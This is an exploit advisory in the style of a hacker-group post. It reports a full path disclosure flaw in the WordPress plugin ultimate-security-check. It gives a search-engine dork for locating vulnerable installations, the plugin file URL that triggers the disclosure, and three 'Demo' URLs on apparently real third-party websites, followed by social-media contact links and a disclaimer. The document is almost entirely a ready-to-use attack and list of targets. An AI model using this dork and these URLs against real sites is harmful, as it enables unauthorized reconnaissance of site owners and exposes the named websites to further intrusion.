# Exploit Title: Wordpress ultimate-security-check plugin Full Path Disclosure vulnerability
# Date: 08/01/2012
# Author: The Black Devils
# Category : [ webapps ]
# Type : php
# Tested on: [Windows] & [Ubuntu]
# Dork : inurl:"/plugins/ultimate-security-check"
#------------------
http://localhost/wp-content/plugins/ultimate-security-check/wp-ultimate-security.php
Demo
http://www.salvarepg.com.br/1/wp-content/plugins/ultimate-security-check/wp-ultimate-security.php
http://www.thecamel.org/wp-content/plugins/ultimate-security-check/wp-ultimate-security.php
http://novanapattaya.com/wp-content/plugins/ultimate-security-check/wp-ultimate-security.php
#------------------
Contact:
https://www.facebook.com/DevilsDz
https://www.facebook.com/necesarios
//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information